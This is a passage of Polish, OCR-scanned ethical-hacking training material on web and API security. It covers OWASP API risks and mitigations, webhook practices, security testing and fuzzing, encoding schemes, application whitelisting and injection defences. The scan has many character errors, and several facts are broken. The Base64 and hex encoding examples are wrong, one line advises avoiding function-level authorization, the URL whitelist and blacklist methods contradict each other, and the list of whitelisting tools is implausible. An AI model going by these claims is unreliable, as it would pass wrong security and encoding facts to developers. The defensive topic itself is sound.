tym, jak filtr odpowiedzi zadeklaruje, ze rekordy pasujg do uzytkownika wywotujgcego to API, pozwala
uzytkownikowi obserwowaé konkretne konto. Ta warstwa odrzuca modele danych bez wyraznego
oznaczania konta klienta poprzez podwdjne sprawdzanie pracy innych warstw.

Zagrozenia bezpieczenstwa API i rozwigzania
Wedtug OWASP, 10 najwazniejszych zagrozen bezpieczeristwa APl i rozwigzan:

API1: Uszkodzona autoryzacja na poziomie obiektu:



* Przeprowadzaj kontrole autoryzacji na poziomie obiektu dla kazdej funkcji uzyskujgcej dostep do
zrodta danych z danymi wejsciowymi uzytkownika

* Kontroluj wdrazanie zasad autoryzacji

* Zaimplementuj solidng polityke kontroli dostepu dla losowych i nieprzewidywalnych wartosci
identyfikatoréw obiektéw

API2: Uszkodzone uwierzytelnianie uzytkownika:

* Uzywaj standardowych i jednolitych mechanizméw uwierzytelniania dla wszystkich punktéw
koricowych API

* Zbadanie i wdrozenie wymagan dotyczacych uwierzytelniania w ramach Application Security
Verification Standard (ASVS)

* Przed publicznym ujawnieniem nieuwierzytelnionych punktéw koricowych interfejsu APl upewnij sie,
ze masz silne wymagania biznesowe

API3: Nadmierna ekspozycja danych:
* Upewnij sie, ze odpowiednie filtrowanie odbywa sie po stronie serwera, a nie po stronie klienta

* Przeanalizuj przeptyw danych od punktu koricowego do klienta

API|4: Brak zasobdw i ograniczenie szybkosci:
* Upewnij sie, ze istniejg odpowiednie kontrole ograniczajgce szybkos¢

* Korzystaj z podrecznika OWASP Automated Threat Handbook jako Zrédfa wiedzy, aby zapobiegac
zuzywaniu zasobéw przez boty

API5: Uszkodzona autoryzacja na poziomie funkcji:
* Unikaj autoryzacji na poziomie funkcji

* Uzyj prostej i standardowej autoryzacji i wtgcz domysine ustawienie odmowy

API6: Przypisanie masowe:
* Nie ujawniaj wewnetrznych zmiennych ani nazw obiektéw jako danych wejsciowych

* Upewnij sie, ze wszystkie wtasciwosci, ktdre klient moze aktualizowaé, znajduja sie na biatej liscie

API|7: Btedna konfiguracja zabezpieczen:

* Przeprowadzaj proces hartowania w stosunku do APl w sposéb ciggty



* Uzyj narzedzi do skanowania i przeglagdéw przez ludzi, aby zbada¢ caty stos APl pod katem btednych
konfiguracji zabezpieczen

API8: Wtrysk:

* Wykonaj weryfikacje danych wejsciowych i biatg liste

* Zaimplementuj sparametryzowany interfejs do przetwarzania przychodzacego interfejsu API
upraszanie

* Upewnij sie, ze logika filtrowania ogranicza liczbe rekordéw zwréconych

API9: Niewtasciwe zarzadzanie zasobami:

* Utrzymuj odpowiednig inwentaryzacje wszystkich srodowisk API, w tym produkcji, przemieszczania,
testowania i programowania

* Przeprowadz przeglad bezpieczenstwa wszystkich interfejséw API, koncentrujgc sie gtdwnie na
standaryzacji funkcji

* Utworz ranking poziomow ryzyka interfejséw APl i ulepsz funkcje bezpieczenistwa dla interfejséw API
0 wyzszym poziomie ryzyka

API10: Niewystarczajgce rejestrowanie i monitorowanie:

* Uzywaj standardowego formatu rejestrowania dla wszystkich interfejséw APl obstugujacych
dziatania zwigzane z reagowaniem na incydenty

* Regularnie monitoruj wszystkie punkty koncowe APl we wszystkich fazach produkgji,
przemieszczania, testowania i programowania

Najlepsze praktyki dotyczace bezpieczeristwa API
Rdzne najlepsze praktyki dotyczgce zabezpieczania interfejsow APl przed cyberatakami sg nastepujgce:

Uzyj protokotu HTTPS za posrednictwem certyfikatow SSL/TLS, ktdre obstugujg techniki szyfrowania i
zapewniajg bezpieczne potaczenie miedzy serwerem a klientem.

Uzyj generowanych przez serwer tokendw osadzonych w HTML jako ukrytych pél do sprawdzania
poprawnosci przychodzacego zadania i sprawdzania, czy pochodzi ono z uwierzytelnionego zrédfa.

Oczy$¢ dane w celu wyeliminowania ztosliwych skryptéw i prawidtowej weryfikacji danych
wprowadzanych przez uzytkownika.

Uzyj zoptymalizowanej zapory, aby upewnié sie, ze wszystkie nieuzywane, niepotrzebne pliki i reguty
zezwalajgce zostang odwotane.

Uzyj biatej listy adreséw IP, aby utworzy¢ liste zaufanych adreséw IP lub zakreséw adreséw IP, aby
uzyskaé¢ dostep do interfejséw API i ograniczy¢ dostep tylko do zaufanych uzytkownikéw lub
komponentow.



Uzyj funkcji ograniczania szybkosci, aby ograniczy¢ liczbe wywotan APl wykonywanych przez klienta w
okreslonym przedziale czasowym.

Regularnie przechowuj i monitoruj dzienniki dostepu, aby pomdc w wykrywaniu anomalii i
podejmowaniu srodkdw zapobiegawczych w przysztosci.

Zaimplementuj technike paginacji, ktéra moze podzieli¢ pojedynczg odpowiedz na kilka fragmentdw,
aby tadunki nie byty zbyt duze.

Uzywaj sparametryzowanych instrukcji w zapytaniach SQL, aby zapobiec wprowadzaniu danych
wejsciowych zawierajgcych cate instrukcje SQL.

Przeprowadz sprawdzanie poprawnosci danych wejsciowych po stronie serwera zamiast po stronie
klienta, aby zapobiec atakom omijajacym.

Przeprowadzaj regularne oceny bezpieczenstwa, aby zabezpieczy¢ wszystkie punkty koficowe API za
pomoca zautomatyzowanych narzedzi.

Regularnie monitoruj i przeprowadzaj ciggte audyty interfejsu APl oraz analizuj przeptywy pracy, aby
zapobiec wszelkim atakom.

Uzywaj tokendw do ustanawiania zaufanych tozsamosci i kontrolowania dostepu do ustug i zasobodw.

Uzywaj podpisdw, aby mieé¢ pewnosé, ze tylko upowaznieni uzytkownicy mogg odszyfrowaé lub
zmodyfikowac dane.

Uzywaj snifferéw pakietow do $ledzenia zdarzen zwigzanych z ujawnianiem informacji i wykrywania
niezabezpieczonych wywotan API.

Uzyj technik, takich jak przydziaty i ograniczanie przepustowosci, aby kontrolowad i sledzi¢ uzycie
interfejsu API oraz ustawié limit zgdan interfejsu API.

Zaimplementuj bramy API, aby uwierzytelnia¢ ruch oraz kontrolowad i analizowa¢ uzycie interfejséw
API.

Zaimplementuj zaawansowane techniki, aby uniemozliwi¢ wyrafinowanym robotom przypominajgcym
ludzi dostep do interfejséw API.

Zaimplementuj uwierzytelnianie wielosktadnikowe (MFA) i uzywaj protokotéw uwierzytelniania, takich
jak AppToken, OAuth2 i OpenlID Connect, do uwierzytelniania uzytkownikéw i aplikacji w interfejsie
API.

Udokumentuj dzienniki kontroli przed i po kazdym zdarzeniu zwigzanym z bezpieczenstwem oraz
oczys¢ dane dziennika, aby zapobiec atakom polegajgcym na wstrzyknieciu dziennika.

Uzywaj interfejséw APl SOAP z wbudowanymi funkcjami zabezpieczern zamiast konwencjonalnych
interfejséw API REST opartych na projekcie.

Ogranicz dane odpowiedzi interfejsu APl do Zzadanego stanu uprawnien do zasobu, zamiast
udostepniac¢ nadmierng ilos¢ tajnych danych za posrednictwem komunikatow o stanie lub odpowiedzi
zasobow.

Uzywaj zabezpieczern WAF wraz z TLS/SSL do zabezpieczania interfejsdw APl i ograniczania atakéow
opartych na ruchu sieciowym i wstrzykiwaniu skryptow.



Upewnij sie, ze wszystkie zgdania wysytane z interfejséw APl do komunikacji bezstanowej, takich jak
interfejs APl REST, sg autoryzowane oddzielnie, nawet jesli pochodzg od tego samego uzytkownika.

Korzystaj z zaawansowanych technologii routingu i kontroli, takich jak technologia Service Mesh, aby
zarzadza¢ wieloustugowym uwierzytelnianiem i kontrolg dostepu.

Nalegaj, aby tworcy interfejséw API uwzglednili najnowsze luki w zabezpieczeniach i zagrozenia
zwigzane z interfejsami APl za posrednictwem materiatéw, artykutdw i blogédw typu open source.

Najlepsze praktyki dotyczgce zabezpieczania elementéw webhook
Rdzne najlepsze praktyki dotyczace zabezpieczania elementéw webhook sg nastepujace:
Uzywaj protokotu HTTPS zamiast HTTP, aby chroni¢ dane przed ujawnieniem podczas przesytfania.

Uzywaj wspétdzielonych kluczy uwierzytelniajacych, takich jak podstawowe uwierzytelnianie HTTP dla
wszystkich elementow webhook, aby zapobiega¢ przypadkowym ztosliwym danym.

Zaimplementuj podpisywanie elementu webhook, aby weryfikowa¢ dane otrzymane od dostawcéw
ustug poczty e-mail (ESP) i korzystac z funkcji ciggtego poréwnywania czasu.

Sledz event_id, aby unikna¢ niezamierzonego podwdéjnego przetwarzania tych samych zdarzer poprzez
ataki powtérkowe.

Upewnij sie, ze zapora sieciowa odrzuca wywotania elementu webhook z nieautoryzowanych zrédet
innych niz adresy IP dostawcy ustug internetowych.

Uzyj ograniczania szybkosci w wywotaniach webhook na serwerze WWW, aby kontrolowa¢ ruch
przychodzacy i wychodzacy.

Poréwnaj sygnature czasowg zgdania X-Cld-Timestamp elementu webhook z biezgcg sygnatura
czasowy, aby zapobiec atakom opartym na synchronizacji.

Zweryfikuj X-OP-Timestamp w ramach progu od biezgcego czasu.
Upewnij sie, ze przetwarzanie zdarzen jest idempotentne, aby zapobiec replikacji potwierdzen zdarzen.

Upewnij sie, ze w przypadku btedéw kod elementu webhook odpowiada statusem 200 OK
(powodzenie) zamiast 4xx lub 5xx, aby upewnié sig, ze elementy webhook nie zostang dezaktywowane.

Upewnij sie, ze adres URL webhooka obstuguje metode HTTP HEAD do pobierania metainformacji bez
przesytania catej zawartosci.

Korzystaj z zadan wielowatkowych, aby wysytac¢ wiele zagdan jednoczesnie i szybko aktualizowac¢ dane
w interfejsie API.

Upewnij sie, ze tokeny sg przechowywane wzgledem store_hash, a nie danych uzytkownika.
Weryfikuj klientéw poprzez wdrozenie wzajemnego TLS.

Nie wysytaj poufnych informacji za pomocg webhookdw; zamiast tego uzyj autoryzowanych
interfejséw API.

Uzywaj podpisow opartych na HMAC, aby przeprowadza¢ weryfikacje wiadomosci i unikac
wykorzystywania tadunku.



Uzyj unikalnego identyfikatora zdarzenia, aby zarejestrowac kazdy tadunek elementu webhook w bazie
danych.

W razie potrzeby zarejestruj kazdy z wystanych elementéw webhook w celu debugowania.
Bezpieczenstwo aplikacji internetowych

Po zapoznaniu sie z metodologiami hakerskimi przyjetymi przez osoby atakujgce aplikacje internetowe
i narzedziami, z ktdrych korzystajg, wazne jest, aby dowiedziec sie, jak zabezpieczy¢ te aplikacje przed
takimi atakami. Doktadna analiza bezpieczenstwa pomoze Ci, jako etycznemu hakerowi, zabezpieczy¢
Twoje aplikacje. Aby to zrobi¢, nalezy zaprojektowaé, opracowac i skonfigurowaé aplikacje
internetowe, korzystajgc ze sSrodkow zaradczych i technik oméwionych w tej sekgcji.

Testy bezpieczenstwa aplikacji internetowych

Testowanie bezpieczenstwa aplikacji internetowych to proces przeprowadzania oceny bezpieczeristwa
i analizy wydajnosci aplikacji oraz generowania terminowych raportéw na temat jej poziomow
bezpieczeAstwa i narazenia na zagrozenia. Specjalisci ds. bezpieczenstwa i programisci czesto
przeprowadzajg testowanie i wzmacnianie bezpieczenstwa aplikacji przy uzyciu nastepujacych technik:

Reczne testowanie bezpieczenistwa aplikacji internetowych

Reczne testowanie bezpieczenstwa obejmuje testowanie aplikacji internetowej przy uzyciu recznie
zaprojektowanych danych, dostosowanego kodu i niektérych narzedzi rozszerzajgcych przegladarke,
takich jak SecApps, w celu wykrycia luk i stabosci zwigzanych z aplikacjami. Koncentruje sie gtéwnie na
btedach logiki biznesowej i analizie zagrozen. Specjalisci ds. bezpieczenistwa uzywajg réwniez innych
narzedzi, takich jak Selenium, JMeter, Loadrunner, Q.TP, Bugzilla i Test Link do przeprowadzania
testéw recznych.

Automatyczne testy bezpieczenstwa aplikacji internetowych

Jest to technika wykorzystywana do automatyzacji procesu testowania. Zautomatyzowane narzedzia
testujgce moga by¢ wykorzystywane do szybkiego i systematycznego wykrywania luk w
zabezpieczeniach, dzieki czemu mozna je tatwo zatataé. Te metody i procedury testowania sg
uwzgledniane na kazdym etapie rozwoju, aby stale zgtasza¢ informacje zwrotne. Zmiany w kazdym
fragmencie kodu mozna analizowac¢, a programisci sg natychmiast powiadamiani o wykryciu
jakichkolwiek luk w zabezpieczeniach. Specjalisci ds. bezpieczeAstwa uzywajg narzedzi takich jak
Ranorex studio, TestComplete, Leapwork, Katalon Studio i Testsigma do przeprowadzania
automatycznych testéw.

Statyczne testy bezpieczenstwa aplikacji (SAST)

Statyczne testowanie aplikacji jest rowniez okreslane jako testowanie biatej skrzynki, w ktérym
kompletna architektura systemu (w tym jego kod Zrédtowy) lub aplikacja/oprogramowanie do
testowania jest

juz znane testerowi. Narzedzia SAST pomagajg programistom w testowaniu kodu zrédtowego w celu
wykrywania i zgtaszania wad projektowych zwigzanych z aplikacjg, ktére mogg otwiera¢ drzwi dla
réznych atakéw. Zapewnia réwniez, ze kod zrodtowy jest zgodny z okreslonymi regutami, standardami
i wytycznymi. Specjalisci ds. bezpieczenstwa uzywajg narzedzi takich jak Codacy, Appknox, AttackFlow,
bugScout i PT Application Inspector do przeprowadzania SAST.

Dynamiczne testy bezpieczenstwa aplikacji (DAST)



W przeciwienstwie do SAST, DAST jest znany jako testowanie czarnej skrzynki, w ktérym testowana
architektura systemu lub aplikacja nie jest znana testerom. Narzedzia DAST uruchamiajg sie na
uruchomionym kodzie, aby  zidentyfikowaé  problemy  zwigzane z  interfejsami,
zgdaniami/odpowiedziami, sesjami, skryptami, procesami uwierzytelniania, wstrzykiwaniem kodu itp.
Pozwalajg testerom wykry¢ ukryte luki w zabezpieczeniach lub wady aplikacji internetowych. Narzedzia
DAST uzywaja réwniez fuzzingu, ktéry odnosi sie do rzucania nieoczekiwanych i niezweryfikowanych
przypadkow testowych na stronie internetowej. Specjalisci ds. bezpieczeristwa uzywajg narzedzi takich
jak Invicti, Acunetix Vulnerability Scanner, HCL AppScan, Micro Focus Fortify on Demand i Appknox do
wykonywania DAST.

Testy rozmyte aplikacji internetowych

Testowanie fuzz aplikacji internetowych (fuzzing) to metoda testowania blackbox. Jest to technika
sprawdzania i zapewniania jakosci uzywana do identyfikowania btedéw kodowania i luk w
zabezpieczeniach w aplikacjach internetowych. Ogromne ilosci losowych danych zwanych ,fuzz” sg
generowane przez narzedzia do testowania rozmycia (fuzzery) i wykorzystywane przeciwko docelowej
aplikacji internetowej w celu wykrycia luk w zabezpieczeniach, ktére mozna wykorzysta¢ w réznych
atakach. Atakujacy stosujg rézne techniki atakéw, aby zawiesié¢ aplikacje internetowe ofiary i
spowodowac spustoszenie w jak najkrétszym czasie. Personel ds. bezpieczeristwa i twdrcy stron
internetowych wykorzystujg te technike testowania rozmytego do testowania solidnosci i odpornosci
opracowanej aplikacji internetowej na ataki, takie jak przepetnienie bufora, DOS, XSS i iniekcja SQL.

Etapy testowania rozmytego

Testy rozmyte aplikacji internetowych obejmujg nastepujace kroki:
Zidentyfikuj system docelowy

Zidentyfikuj dane wejsciowe

Generuj rozmyte dane

Wykonaj test uzywajac danych rozmytych

Monitoruj zachowanie systemu

Rejestruj defekty

Strategie testowania rozmytego

Oparte na mutacjach: W tego typu testach biezgce prébki danych tworzg nowe dane testowe, a nowe
dane testowe ponownie mutujg, aby wygenerowac dalsze losowe dane. Ten typ testéw rozpoczyna sie
od waznej prébki i mutuje az do osiggniecia celu.

Generation-Based: W tego typu testach nowe dane bedg generowane od podstaw, a ilos¢ danych do
wygenerowania jest wstepnie zdefiniowana na podstawie modelu testowego

Oparte na protokole: W tego typu testach fuzzer protokotu wysyta sfatszowane pakiety do aplikacji
docelowej, ktéra ma by¢ testowana. Ten rodzaj testowania wymaga szczegétowej znajomosci formatu
testowanego protokotu. Polega na zapisaniu listy specyfikacji w narzedziu fuzzer, a nastepnie
wykonaniu techniki generowania testow w oparciu o model, aby przejrze¢ wszystkie wymienione
specyfikacje i dodac¢ nieprawidtowosci w zawartosci danych, kolejnosci itp.

Scenariusz testowania rozmytego



Ponizszy schemat przedstawia przeglad gtéwnych elementéw fuzzera. Skrypt atakujgcego jest
podawany do fuzzera, ktory z kolei ttumaczy ataki na cel jako zadania HTTP. Te zgdania HTTP otrzymaja
odpowiedzi od celu, a wszystkie zgdania i ich odpowiedzi sg nastepnie rejestrowane w celu recznej
kontroli.

Narzedzia do testowania rozmycia:

WSFuzzer ( https://owasp.org )

WebScarab (https://owasp.org)

Burp Suite (https://portswigger.net)

Standard HCL AppScan® (https://www.hcltechsw.com)

Peach Fuzzer (https://www.peach.tech)

Przeglad kodu zrédtowego

Przeglady kodu Zzrédtowego stuzg do wykrywania btedéw i nieprawidtowosci w tworzonych aplikacjach
internetowych. Mogg by¢ wykonywane recznie lub za pomocg zautomatyzowanych narzedzi w celu
identyfikacji okreslonych obszaréow w kodzie aplikacji do obstugi funkcji zwigzanych z
uwierzytelnianiem, zarzgdzaniem sesjg i sprawdzaniem poprawnosci danych. Mogg identyfikowac
niezweryfikowane luki w zabezpieczeniach danych i stabe techniki kodowania programistow, ktére
umozliwiajg atakujagcym wykorzystanie aplikacji internetowych.

Schematy kodowania

Kodowanie to proces przeksztatcania informacji zrodtowej w jej rownowazng forme symboliczng, co
pomaga w ukryciu znaczenia danych. Po stronie odbierajgcej zakodowane dane sg dekodowane do
formatu zwyktego tekstu. Dekodowanie to proces odwrotny do kodowania. Aplikacje internetowe
wykorzystujg rézne schematy kodowania swoich danych, aby bezpiecznie obstugiwaé nietypowe znaki
i dane binarne w zamierzony sposéb.

Rodzaje schematéow kodowania
Kodowanie adreséw URL

Przegladarki internetowe/serwery internetowe zezwalajg na to, aby adresy URL zawieraty tylko
drukowane znaki kodu ASCII, ktére mogg by¢ przez nie zrozumiate w celu adresowania. Kodowanie
adreséw URL to proces konwersji adresu URL na prawidtowy format ASCII, dzieki czemu dane mogg
by¢ bezpiecznie przesytane przez protokdt HTTP. Kilka znakdw z tego zakresu ma specjalne znaczenie,
gdy sg wymienione w schemacie adresu URL lub protokole HTTP. W zwigzku z tym te znaki s3
ograniczone. Kodowanie adresdw URL zastepuje nietypowe znaki ASCIl ciggiem ,, %", po ktérych
nastepuje dwucyfrowy kod ASCII znaku wyrazony w formacie szesnastkowym, na przyktad:

0 %3d =
0 %0a Nowa linia
0 %20 spacja

Kodowanie HTML



Schemat kodowania HTML stuzy do reprezentowania nietypowych znakéw, dzieki czemu mozna je
bezpiecznie taczy¢ w dokumencie HTML. Kodowanie HTML zastepuje nietypowe znaki ciggami znakow,
ktére mozna rozpoznac, podczas gdy rézne znaki definiujg strukture dokumentu. Jesli chcesz uzy¢ tych
samych znakéw, co te zawarte w dokumencie, mozesz napotkaé¢ problemy. Problemy te mozina
rozwigza¢ za pomocy kodowania HTML. Definiuje kilka jednostek HTML do reprezentowania
szczegoblnie typowych postaci takicj jak:

0 &amp; &

o &lt; <

o &gt; >

Kodowanie Unicode

Kodowanie Unicode jest dwojakiego rodzaju: 16-bitowe kodowanie Unicode i UTF-8.
16-bitowe kodowanie Unicode

Zastepuje nietypowe znaki Unicode ciggiem ,,%u”, po ktérym nastepuje punkt kodowy Unicode znaku
wyrazony w formacie szesnastkowym.

* %u2215/
UTF-8

Jest to standard kodowania o zmiennej dtugosci, ktéry wyraza kazdy bajt w formacie szesnastkowym i
poprzedza go przedrostkiem%.

* %c2%a9 ©
* %e2%89%a0
Kodowanie Base64

Schemat kodowania Base64 reprezentuje dowolne dane binarne przy uzyciu wytgcznie drukowalnych
znakow ASCII. Zasadniczo stuzy do kodowania zatgcznikéw wiadomosci e-mail w celu bezpiecznej
transmisji przez SMTP, a takze do kodowania danych uwierzytelniajgcych uzytkownika.

Na przyktad:

cake =01100011011000010110101101100101

Kodowanie Base64: 011000 110110 000101 101011 011001 010000
000000 000000

Kodowanie szesnastkowe

Schemat kodowania HTML wykorzystuje warto$é szesnastkowa kazdego znaku do reprezentowania
zbioru znakéw do przesytania danych binarnych.

Na przyktad:
Hello A125C458D8
Jason 123B684AD9

Aplikacje z biatej listy a aplikacje z czarnej listy



Aplikacje internetowe odegraty wazng role we wdrazaniu transformacji cyfrowej na catym swiecie. Tak
szybki rozwdj zmotywowat osoby atakujgce do naruszenia bezpieczenstwa systemu przy uzyciu
réznych technik wykorzystujgcych luki i luki obecne w aplikacjach. Aby udaremnic te ataki, specjalisci
ds. bezpieczenstwa muszg wdrozyc¢ rézne polityki bezpieczenstwa i strategie testowania. Biata i czarna
lista to jedna z takich strategii bezpieczenstwa, ktéra moze bezpiecznie przechowywac aplikacje, sieci
i infrastrukture. Za pomocy tej strategii mozna stworzyé liste podmiotéw, ktdore powinny byc
dozwolone, a ktore powinny by¢ blokowane. W ten sposéb kazde ztosliwe oprogramowanie moze
zostaé skutecznie zablokowane, zanim dostanie sie do sieci organizacyjnej.

Biata lista aplikacji

Biata lista aplikacji okresla liste sktadnikow aplikacji, takich jak biblioteki oprogramowania, wtyczki,
rozszerzenia i pliki konfiguracyjne lub legalne oprogramowanie, ktére mozna zezwoli¢ na uruchamianie
w systemie. Pomaga w zapobieganiu nieautoryzowanemu wykonywaniu i rozprzestrzenianiu
ztosliwych programoéw. Moze réwniez zapobiegad instalowaniu niezatwierdzonych lub podatnych na
ataki aplikacji. Biata lista zapewnia wiekszg elastyczno$¢, zapewniajgc ochrone przed
oprogramowaniem ransomware i innymi rodzajami atakéw ztosliwego oprogramowania na aplikacje
internetowe.

Czarna lista aplikacji

Czarna lista aplikacji okresla ztoSliwe aplikacje lub oprogramowanie, ktérych uruchomienie w systemie
lub sieci jest zabronione. Czarna lista moze by¢ wykonywana poprzez blokowanie ztosliwych aplikacji,
ktére mogg powodowac potencjalne szkody lub prowadzi¢ do atakéw. Czarna lista to metoda
skoncentrowana na zagrozeniach; nie jest w stanie wykry¢ wspdtczesnych zagrozen i skutkuje atakami
prowadzgcymi do utraty danych. Dlatego wazne jest, aby regularnie aktualizowa¢ backliste, aby
chroni¢ sie przed najnowszymi atakami ztosliwego oprogramowania. Czarng liste aplikacji mozna
wykonaé, dodajgc nazwy aplikacji do zablokowania na poziomie zapory lub instalujgc specjalne
oprogramowanie do blokowania aplikacji.

Czarna i biata lista do podstawowego zarzadzania adresami URL

Czarna lista adreséw URL uniemozliwia uzytkownikowi tadowanie stron internetowych z adreséw URL
znajdujacych sie na czarnej liscie. Uzytkownik ma dostep do wszystkich adreséw URL z wyjgtkiem tych
znajdujacych sie na czarnej liscie. Biata lista adreséw URL umozliwia uzytkownikom dostep tylko do
okreslonych adreséw URL jako wykluczen z tych, ktdére sg dodawane do czarnej listy adreséw URL. Biata
lista adresdw URL jest wykonywana przy uzyciu nastepujgcych metod:

0 Zezwalaj na dostep do wszystkich adreséw URL z wyjgtkiem zablokowanych: Biata lista umozliwia
uzytkownikom dostep do pozostatych aplikacji sieciowych

0 Zablokuj dostep do wszystkich adreséw URL oprécz dozwolonych: Biata lista umozliwia dostep do
ograniczonej listy adreséw URL

o Zdefiniuj wyjatki od bardzo restrykcyjnych czarnych list: Biata lista umozliwia uzytkownikom dostep
do schematéw, subdomen innych domen, okreslonych sciezek lub portéw

o Zezwalaj przeglagdarce na otwieranie aplikacji: Biata lista jest wykonywana tylko dla okreslonych
zewnetrznych procedur obstugi protokotéw, dzieki czemu przeglagdarka moze automatycznie
uruchamiaé aplikacje

Czarna lista adreséw URL odbywa sie za pomocg nastepujgcych metod:



o Zezwalaj na dostep do wszystkich adreséw URL z wyjatkiem zablokowanych: Czarna lista
uniemozliwia uzytkownikom dostep do zablokowanych stron internetowych

o Blokuj dostep do wszystkich adreséw URL oprécz dozwolonych: Czarna lista blokuje dostep do
wszystkich ztosliwych adreséw URL

o Zdefiniuj wyjatki od bardzo restrykcyjnych czarnych list: Czarna lista ogranicza dostep do wszystkich
adresow URL, ktére sg podatne na ataki

0 Zezwol przegladarce na otwieranie aplikacji: Czarna lista uniemozliwia przegladarce automatyczne
uruchamianie aplikacji

Narzedzia biatej i czarnej listy aplikacji

Ponizej omoéwiono rdzne narzedzia, ktére pomagajg specjalistom ds. bezpieczeristwa w tworzeniu
biatych i czarnych list aplikacji.

Kontrola aplikacji ManageEngine Plus

ManageEngine Application Control Plus automatyzuje umieszczanie aplikacji na biatych i czarnych
listach w oparciu o okreslone reguty kontroli. Dzieki wbudowanej, zaawansowanej funkcji Endpoint
Privilege Management, Application Control Plus umozliwia organizacjom ustanowienie zasady
najmniejszych uprawnien (PolLP) i zerowego zaufania, zezwalajac tylko na autoryzowany dostep do
aplikacji i zwigzanych z nimi uprawnien.

Oto niektére dodatkowe narzedzia do biatej i czarnej listy aplikacji:
ShadowNet (/7ttps://riskonolytics.com)

Cisco Umbrella (https://umbrello.cisco.com)

Centrify Server Suite (https://www.centrify.com)

APT Groups and Operations ( https://docs.google.com)
NordVPN (https://nordvpn.com)

Jak broni¢ sie przed atakami iniekcyjnymi

Ataki typu SQL Injection

o Ogranicz dtugos¢ wpiséw uzytkownika,

o Uzywaj niestandardowych komunikatéw o btedach,
o Monitoruj ruch DB za pomoca IDS i WAF.

o Wytacz polecenia, takie jak xp_cmdshell.

o Odizoluj serwer bazy danych i serwer WWW.

0 Zawsze uzywaj atrybutu metody ustawionego dla POST i konta o niskich uprawnieniach dla potgczen
DB.

o Uruchom konto ustugi bazy danych z minimalnymi uprawnieniami,

o Przenies rozszerzone procedury sktadowane na izolowany serwer.



o Uzywaj bezpiecznych zmiennych lub funkcji, takich jak isNumeric ( ), aby zapewni¢ bezpieczenstwo
typow.

o Weryfikuj i oczyszczaj dane wprowadzane przez uzytkownikéw przekazywane do bazy danych.

o Unikaj uzywania dynamicznego SQL lub konstruowania zapytan z danymi wprowadzanymi przez
uzytkownika.

o Uzyj gotowych instrukcji, sparametryzowanych zapytan lub procedur sktadowanych, aby uzyskaé
dostep do bazy danych.

o Wyswietl minimalne wymagane informacje i uzyj trybu customErrors ,,RemoteOnly”, aby wyswietli¢
szczegdtowe komunikaty o btedach na komputerze lokalnym.

o Wykonaj odpowiednie zmiany znaczenia i filtrowanie znakéw, aby unikng¢ znakéw specjalnych i
symboli, takich jak pojedyncze cudzystowy (').

0 Zawsze ustawiaj biatg liste w sposéb logiczny zamiast czarnej listy, aby unikngé¢ btednego kodu.

o Uzywaj struktur mapowania obiektowo-relacyjnego (ORM), aby konwersja zestawdow wynikéw SQL
na obiekty kodu byta bardziej spéjna.

o Uzyj skanerdw podatnosci, aby zidentyfikowac¢ mozliwe punkty wejscia,
o Unikaj uzywania wspdlnych baz danych i tego samego konta dla wielu baz danych.

o Nalegaj, aby osoby zaangazowane w tworzenie aplikacji rozwazyty wszystkie zagrozenia zwigzane z
iniekcja SQL.

0 Zawsze uzywaj najnowszych wersji jezykéw programowania i technologii programistycznych.
o Regularnie aktualizuj i aktualizuj aplikacje oraz serwery bazodanowe,

o Wzmocnij systemy operacyjne i aplikacje, postepujgc zgodnie z wytycznymi wydanymi przez
dostawcow,

o Wytaczy¢ niepotrzebne funkcjonalnosci bazy danych,
o Regularnie kontroluj bazy danych, dzienniki, uprawnienia i wigzgce warunki.

o Skanuj aplikacje za pomocg dynamicznego internetowego skanera luk w zabezpieczeniach, aby
zapobiec wstrzykiwaniu kodu.

o Wylicz autoryzowane wartosci w instrukcji warunkowej.
Btedy wtrysku polecen

Najprostszym sposobem obrony przed btedami wstrzykiwania polecen jest unikanie ich tam, gdzie to
mozliwe. Niektére biblioteki specyficzne dla jezyka wykonujg identyczne funkcje dla wielu polecen
powtoki i niektdrych wywotan systemowych. Biblioteki te nie zawierajg interpretera powtoki systemu
operacyjnego i dlatego ignorujg problemy z maksymalnymi poleceniami powtoki. W przypadku
wywotan, ktdre nadal musza by¢ uzywane, takich jak wywotania baz danych zaplecza, nalezy doktadnie
sprawdzi¢ poprawnos¢ danych, aby upewnic sie, ze nie zawierajg one ztosliwych tresci. Mozna tez
utozy¢ rézne zgdania we wzorzec, ktdry zapewnia, ze wszystkie podane parametry s traktowane jako
dane, a nie jako potencjalnie wykonywalna tresé. Wiekszos$¢ systemdéw wywotuje i uzywa procedur
sktadowanych z parametrami, ktére akceptujg prawidtowe ciggi wejsciowe w celu uzyskania dostepu



do bazy danych lub przygotowanych instrukcji w celu zapewnienia znacznej ochrony, zapewniajac, ze
dostarczone dane wejsciowe sg traktowane jako dane, co zmniejsza, ale nie eliminuje catkowicie ryzyka
zwigzanego z tymi zewnetrznymi wywotaniami . Zawsze mozna autoryzowac wejscie, aby zapewnié
ochrone danej aplikacji. Z tego powodu wazne jest, aby korzystac z najmniej uprzywilejowanych kont
w celu uzyskania dostepu do bazy danych, aby zminimalizowaé¢ mozliwos¢é ataku. Innym skutecznym
Srodkiem przeciwko wstrzykiwaniu polecen jest uruchamianie aplikacji internetowych z uprawnieniami
wymaganymi do wykonywania ich funkcji. Dlatego nalezy unika¢ uruchamiania serwera WWW jako
root lub uzyskiwania dostepu do bazy danych jako DBADMIN; w przeciwnym razie osoba atakujgca
moze by¢ w stanie naduzyé praw administracyjnych. Uzycie sandboxa Java w $rodowisku J2EE
zatrzymuje wykonywanie polecen systemowych. Polecenia zewnetrzne stuzg do sprawdzania
informacji o uzytkowniku, gdy je podaje. Stwdrz mechanizm obstugi wszystkich mozliwych btedoéw,
przekroczen limitu czasu lub blokad podczas potgczen. Sprawdz wszystkie kody wyjsciowe, zwrotne i
kody btedéw z wywotania, aby upewnic sie, ze dziata ono zgodnie z oczekiwaniami. Dzieki temu
uzytkownicy mogg okreslié, czy co$ poszto nie tak. W przeciwnym razie moze dojs¢ do ataku, ktéry
nigdy nie zostanie wykryty. Oto niektére Srodki zaradcze przeciwko btedom wstrzykiwania polecen:

o Wykonaj walidacje danych wejsciowych,
o Uciekaj przed niebezpiecznymi postaciami.

o Uzywaj bibliotek specyficznych dla jezyka, ktére pozwalajg unikng¢ problemoéw z poleceniami
powtoki,

o Wykonaj kodowanie wejscia i wyjscia,
o Uzywaj bezpiecznego API, ktére catkowicie unika korzystania z interpretera.

o Uporzadkuj zadania tak, aby wszystkie dostarczone parametry byty traktowane jako dane, a nie
potencjalnie wykonywalna tresc.

o Uzyj sparametryzowanych zapytan SQL.
o Uzywaj modularnego oddzielenia powtoki od jadra.

